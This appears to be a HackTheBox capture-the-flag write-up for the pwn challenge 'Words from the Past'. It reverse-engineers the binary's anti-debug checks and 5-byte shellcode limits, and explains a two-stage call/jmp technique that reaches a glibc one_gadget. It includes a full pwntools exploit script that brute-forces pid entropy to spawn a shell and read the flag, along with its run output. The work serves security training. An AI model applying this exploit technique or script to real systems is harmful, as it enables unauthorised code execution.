HTB - Words from the Past

MediumHackTheBox11 min read

Scenario

Rogat lost a blood-price dispute his clan should have won, and the rival warband that beat them didn't settle it themselves. They hired Rovan Kest's Iron Vultures to hold him and asked a ransom Sythra Crow-Eater's order was never built to pay, because paying it would mean her hostages have a price again, the exact thing she spent years teaching the southern clans to stop believing. She can't storm the camp without breaking her own rules in front of every clan watching to see if they still hold. She can't leave him either. So she does what she's never done before and asks someone outside her clans to make the problem disappear quietly. Rin gets inside the Iron Vultures' camp before Rogat gets sold to whoever bids highest for his silence. He isn't chained the way a giant should be. The rig holding him is old work, something built by a border people who don't have a name anymore, the kind of craft Garran Voss grew up around on the winter keep before Crownspire ever took him in. He taught her the shape of it once, half as history, half as a joke about a dead trade nobody would ever need again. She needs every piece of that joke to be true. Get Rogat out clean, and Sythra owes her people something no coin ever bought from her before: trust.


Enumeration

We begin by inspecting the challenge folder contents and identifying binary properties and protections using foundational CLI diagnostics: file, checksec, and ld.so --version.

bash
$ file words_from_the_past
words_from_the_past: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, stripped

$ python3 -c "from pwn import ELF; ELF('./words_from_the_past').checksec()"
[*] '/home/zor0ark/Documents/HTB/CyberApocalyps2026/pwn/wordsfromthepast/challenge/words_from_the_past'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'$ORIGIN/glibc'

Checking the version of the provided GNU C library reveals:

bash
$ ./glibc/ld-linux-x86-64.so.2 --version
ld.so (Ubuntu GLIBC 2.39-0ubuntu8.7) stable release version 2.39.

Initial Observations:

  • Full Protections: The executable has Full RELRO, Stack Canaries, NX (No-Execute), and PIE (Position Independent Executable) enabled. It is also completely stripped, removing symbol names and debugging information.
  • Custom Runtime Environment: The binary specifies ./glibc/ld-linux-x86-64.so.2 as its runtime dynamic linker and embeds a custom RUNPATH. It runs against Ubuntu GLIBC 2.39.
  • Memory Corruption Mitigations: Because Full RELRO and NX are present, overriding Global Offset Table (GOT) entries or executing raw buffer shellcode on traditional heap/stack allocations is strictly prohibited. We must find an intended executable memory allocation or Code Reuse / ROP vector.

Reverse Engineering & Code Analysis

To uncover the mechanics of the stripped executable, we perform structural analysis and static decompilation using rizin and objdump -M intel. Identifying string references inside .rodata provides instant context regarding the internal routines:

text
0x2008: "LD_PRELOAD"
0x2013: "LD_AUDIT"
0x201c: "Preload detected!"
0x2030: "/proc/self/status"
0x2042: "TracerPid:"
0x204d: "Debugger detected!"
0x2060: "Timing anomaly detected!"
0x2079: "Encoding violation detected!"
0x2096: "Breakpoint detected!"
0x20ab: "Invalid instruction!"
0x20c0: "/proc/self/maps"
0x20d0: "Failed to open maps!"
0x20e5: "libc.so.6"
0x20ef: "r--p"
0x20f4: "libc base not found!"
0x2fe0: "[Garran Voss] Rin.. You know what to do... Precise moves, keep it fast and lethal..\n"

The string artifacts allow us to map and categorize every internal routine within the binary:

A. Anti-Analysis & Anti-Debugging Subsystems

Before processing user interaction, the program validates execution transparency across multiple helper functions:

AddressAssigned NameBehavior & Protection Mechanism
0x1279read_tsc()Executes x86 rdtsc (Read Time-Stamp Counter), assembling EDX:EAX into a 64-bit integer timestamp returned in rax.
0x1295anti_debug()1. Checks getenv("LD_PRELOAD") and getenv("LD_AUDIT"). Exits if either string is found.
2. Opens /proc/self/status, reads lines until finding "TracerPid:". If the trailing integer is non-zero (indicating gdb/strace/ltrace attachment), prints "Debugger detected!" and exits.
3. Runs an empty calibration loop for 50,000 cycles using read_tsc(). If total cycles exceed 0x1dcd6500 (~500M cycles), prints "Timing anomaly detected!" and exits.
0x1445timing_check()Performs a secondary read_tsc() timing validation over a 10,000-iteration loop. Exits if cycle delta exceeds 0xbebc200 (~200M cycles).

B. Shellcode Input Verification & Restrictions

When user inputs are delivered to executable pages, they must pass strict integrity validations handled by three dedicated verification routines:

c
// Routine at 0x14b1: Check for disallowed byte encoding
void check_encoding(uint8_t *buf) {
    for (int i = 0; i < 5; i++) {
        if (buf[i] == 0x00 || buf[i] == 0x0a) {
            puts("Encoding violation detected!");
            exit(1);
        }
    }
}

// Routine at 0x1515: Check for INT3 debugging breakpoints
void check_breakpoint(uint8_t *buf) {
    for (int i = 0; i < 5; i++) {
        if (buf[i] == 0xcc) { // int3 opcode
            puts("Breakpoint detected!");
            exit(1);
        }
    }
}

// Routine at 0x1565: Validate required starting instruction opcode
void check_opcode(uint8_t *buf, uint8_t expected_opcode) {
    if (buf[0] != expected_opcode) {
        puts("Invalid instruction!");
        exit(1);
    }
}
🚨

Payload Constraints: All executed stages restrict shellcode inputs to exactly 5 bytes. The instructions cannot contain NUL bytes (0x00), newlines (0x0a), or breakpoints (0xcc). Furthermore, the very first byte of the instruction is strictly clamped to a stage-specific x86_64 branching opcode (0xe8 for CALL or 0xe9 for JMP).

C. Runtime Memory Introspection (get_libc_base)

At offset 0x159e, the binary implements a self-introspection function designed to identify its own dynamically linked libc base address in memory:

c
uint64_t get_libc_base() {
    FILE *f = fopen("/proc/self/maps", "r");
    if (!f) { puts("Failed to open maps!"); exit(1); }
    
    char line[512];
    uint64_t libc_base = 0;
    while (fgets(line, sizeof(line), f)) {
        if (strstr(line, "libc.so.6") && strstr(line, "r--p")) {
            libc_base = strtoul(line, NULL, 16);
            break;
        }
    }
    fclose(f);
    if (!libc_base) { puts("libc base not found!"); exit(1); }
    return libc_base;
}

Vulnerability Analysis

The overarching core logic resides inside main (0x16d5). Rather than containing an accidental memory corruption flaw (e.g., buffer overflow or format string vulnerability), the challenge is meticulously structured as a two-stage state machine designed to evaluate precision exploitation.

Rendering diagram…

Why the Architecture is Exploitable:

1. Deterministic Page Placement in Stage 1

During Stage 1 (stage == 0), main computes an mmap address hint equal to main + 0x10000 (PIE_base + 0x116d5) and requests a 4KB allocation with permissions PROT_READ | PROT_WRITE | PROT_EXEC (7).

  • Because the binary footprint spans only 0x0000 through 0x5000 in virtual memory, the kernel rounds the requested hint down to the nearest page boundary (0x116d5 & ~0xfff = 0x11000).
  • Since PIE_base + 0x11000 is guaranteed to be completely unallocated in memory, Linux consistently allocates our executable staging buffer at exactly PIE_base + 0x11000.
  • Consequently, the exact distance between our allocated staging buffer and any code within the PIE binary is completely static and independent of ASLR!

2. Handcrafted Register Conditioning in Stage 2

When main prepares to branch to our Stage 2 payload, it explicitly clears and assigns critical registers and stack addresses:

asm
1898:   mov    rdx,QWORD PTR [rbp-0x18]    ; Target buffer address
189c:   mov    QWORD PTR [rbp-0x78],0x0    ; Clear stack memory variable
18a4:   xor    ebx,ebx                     ; EBX / RBX = 0 (NULL)
18a6:   xor    ecx,ecx                     ; ECX / RCX = 0 (NULL)
18a8:   mov    r12d,0xdead                 ; Poison R12 pointer
18ae:   mov    eax,0x1                     ; Poison RAX pointer
18b3:   and    rsp,0xfffffffffffffff0      ; Enforce 16-byte stack alignment (RSP & 0xf == 0)
18b7:   jmp    rdx                         ; Transfer execution to 5-byte JMP payload

We inspect the available one-gadgets inside ./glibc/libc.so.6 using one_gadget:

text
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints: address rsp+0x68 is writable, rsp & 0xf == 0, rax == NULL || ...

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints: address rsp+0x68 is writable, rsp & 0xf == 0, rcx == NULL || ..., rbx == NULL || ...

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints: address rbp-0x50 is writable, rax == NULL || ..., [rbp-0x78] == NULL || ...
💡

Notice the author's deliberate register state manipulation! Setting rax = 1 and r12d = 0xdead intentionally invalidates gadgets 0x583ec, 0xef4ce, and 0xef52b. However, explicitly setting rcx = 0, rbx = 0, and rsp & 0xf == 0 precisely fulfills 100% of the preconditions required to execute gadget 0x583f3!


Exploitation

Stage 1 Payload: Returning to Main

In Stage 1, we must provide a 5-byte instruction starting with 0xe8 (call rel32).

  • If we execute a normal system or library routine, call pushes the return address (mmap_addr + 5) onto the stack. Because mmap initializes anonymous memory to zeroes, returning to mmap_addr + 5 will execute 0x00 0x00 (add BYTE PTR [rax], al), resulting in a fatal segment violation (SIGSEGV) at page boundaries.
  • Therefore, we must branch to a target that re-hijacks execution flow without returning.
  • By executing a relative call back to the entry point of main (PIE_base + 0x16d5), the program executes main a second time. Because fork_flag (0x502c) and stage (0x5030) were both toggled to 1 during Stage 1, main bypasses the initial fork() routine and directly transitions into the Stage 2 handler!

Calculating Stage 1 Relative Offset:

rel32=Target Address(Instruction Address+5)rel32=(PIE_base+0x16d5)(PIE_base+0x11000+5)=0x16d50x11005=0xf930\text{rel32} = \text{Target Address} - (\text{Instruction Address} + 5) \text{rel32} = (\text{PIE\_base} + 0\text{x}16\text{d}5) - (\text{PIE\_base} + 0\text{x}11000 + 5) = 0\text{x}16\text{d}5 - 0\text{x}11005 = -0\text{xf}930

Representing 0xf930-0\text{xf930} as a 32-bit unsigned two's complement integer yields 0xffff06d0.

  • In little-endian encoding, our 5-byte instruction becomes: \xe8\xd0\x06\xff\xff.
  • Integrity Check: The bytes 0xe8, 0xd0, 0x06, 0xff, 0xff contain zero occurrences of forbidden bytes 0x00, 0x0a, or 0xcc!

Stage 2 Payload: Leaping to one_gadget across PID Entropy

When main enters Stage 2, it dynamically resolves libc_base and maps an executable page with MAP_FIXED at:

target_addr=libc_base(0x1000000+(pid&7)×0x1000)\text{target\_addr} = \text{libc\_base} - \left( 0\text{x}1000000 + (\text{pid} \mathbin{\&} 7) \times 0\text{x}1000 \right)
  • In this stage, our instruction opcode must begin with 0xe9 (jmp rel32).
  • We desire our jump target to land exactly on our validated one_gadget at libc_base + 0x583f3.
  • Let us construct the mathematical equation for the required 32-bit relative offset: rel32=Target Address(target_addr+5)rel32=(libc_base+0x583f3)(libc_base0x1000000(pid&7)×0x1000+5)\text{rel32} = \text{Target Address} - (\text{target\_addr} + 5) \text{rel32} = (\text{libc\_base} + 0\text{x}583\text{f}3) - \left( \text{libc\_base} - 0\text{x}1000000 - (\text{pid} \mathbin{\&} 7) \times 0\text{x}1000 + 5 \right) Notice how libc_base mathematically cancels out on both sides of the subtraction: rel32=0x583f3+0x1000000+(pid&7)×0x10005rel32=0x10583ee+(pid&7)×0x1000\text{rel32} = 0\text{x}583\text{f}3 + 0\text{x}1000000 + (\text{pid} \mathbin{\&} 7) \times 0\text{x}1000 - 5 \text{rel32} = 0\text{x}10583\text{ee} + (\text{pid} \mathbin{\&} 7) \times 0\text{x}1000

Overcoming ASLR Entropy

Because the target address calculation incorporates (getpid() & 7), the exact relative jump distance depends on the lower 3 bits of the freshly spawned child Process ID.

  • There are precisely 2^3 \= 8 possible variations for (pid & 7), spanning integers 0 through 7.
  • None of the 8 potential relative offsets produce forbidden bytes in little-endian notation:
    • When pid & 7 == 0 \rightarrow Offset 0x010583ee \rightarrow Payload \xe9\xee\x83\x05\x01
    • When pid & 7 == 7 \rightarrow Offset 0x0105f3ee \rightarrow Payload \xe9\xee\xf3\x05\x01
  • Because 3 bits representing 1-in-8 odds is trivial, our automated solver script simply connects in a retry loop, cycling assumptions for pid & 7 until execution succeeds and pops an interactive /bin/sh shell!

Exploit Script (exploit.py)

python
#!/usr/bin/env python3
from pwn import *
import sys

# Silence pwn logs during repetitive brute-force attempts
context.log_level = 'error'
context.arch = 'amd64'

def solve():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} IP:PORT or {sys.argv[0]} LOCAL")
        sys.exit(1)
        
    target = sys.argv[1]
    is_remote = ':' in target

    host, port = None, None
    if is_remote:
        host, port = target.split(':')
        port = int(port)

    print(f"[*] Starting exploit against {'remote ' + target if is_remote else 'local binary'}...")
    print("[*] Brute-forcing 3-bit ASLR entropy (pid & 7) - expect around ~4-8 attempts on average...")

    attempt = 0
    while True:
        attempt += 1
        # Cycle through the 8 potential values for (pid & 7)
        guess = attempt % 8
        try:
            if is_remote:
                p = remote(host, port, timeout=3)
            else:
                p = process('./challenge/words_from_the_past', cwd='./challenge')

            # ==========================================
            # STAGE 1: Call Back to main (0x16d5)
            # ==========================================
            # mmap page is located at PIE_base + 0x11000 without MAP_FIXED.
            # Instruction must be exactly 5 bytes starting with 0xe8 (call rel32).
            # rel32 = 0x16d5 - (0x11000 + 5) = -0xf930 (0xffff06d0)
            payload1 = b'\xe8\xd0\x06\xff\xff'
            p.send(payload1)
            
            # ==========================================
            # STAGE 2: Jump to glibc one_gadget (0x583f3)
            # ==========================================
            # target_addr = libc_base - (0x1000000 + (pid & 7) * 0x1000).
            # Instruction must be exactly 5 bytes starting with 0xe9 (jmp rel32).
            # rel32 = 0x583f3 + 0x1000000 + (pid & 7) * 0x1000 - 5 = 0x10583ee + (pid & 7) * 0x1000.
            rel32 = 0x10583ee + (guess * 0x1000)
            payload2 = b'\xe9' + p32(rel32)
            p.send(payload2)

            # Transmit verification probe to detect spawned shell
            p.sendline(b'echo EXPLOIT_SUCCESS; id; cat flag* 2>/dev/null; cat challenge/flag* 2>/dev/null')
            
            out = p.recvuntil(b'EXPLOIT_SUCCESS', timeout=1.5)
            if b'EXPLOIT_SUCCESS' in out:
                print(f"\n[+] Exploit succeeded on attempt {attempt} (pid & 7 == {guess})!\n")
                context.log_level = 'info'
                try:
                    res = p.recv(timeout=1.0)
                    if res:
                        print(res.decode(errors='ignore').strip())
                except:
                    pass
                print("\n[*] Switching to interactive shell:")
                p.interactive()
                return True
            p.close()
            print(f"[-] Attempt {attempt} failed (guess={guess}), retrying...", end='\r')
        except KeyboardInterrupt:
            print("\n[!] Stopped by user.")
            sys.exit(0)
        except Exception:
            try:
                p.close()
            except:
                pass
            if not is_remote and attempt >= 30:
                print("\n[-] Exploit failed locally after 30 attempts.")
                break
            continue

if __name__ == '__main__':
    solve()

Execution

Running the solver against the official remote Hack The Box instance successfully attains code execution and displays the flag:

bash
$ python3 solver.py 154.57.164.65:30145
[*] Starting exploit against remote 154.57.164.65:30145...
[*] Brute-forcing 3-bit ASLR entropy (pid & 7) - expect around ~4-8 attempts on average...

[+] Exploit succeeded on attempt 18 (pid & 7 == 2)!

uid=100(ctf) gid=101(ctf) groups=101(ctf)
HTB{[REDACTED]}

[*] Switching to interactive shell:
[*] Switching to interactive mode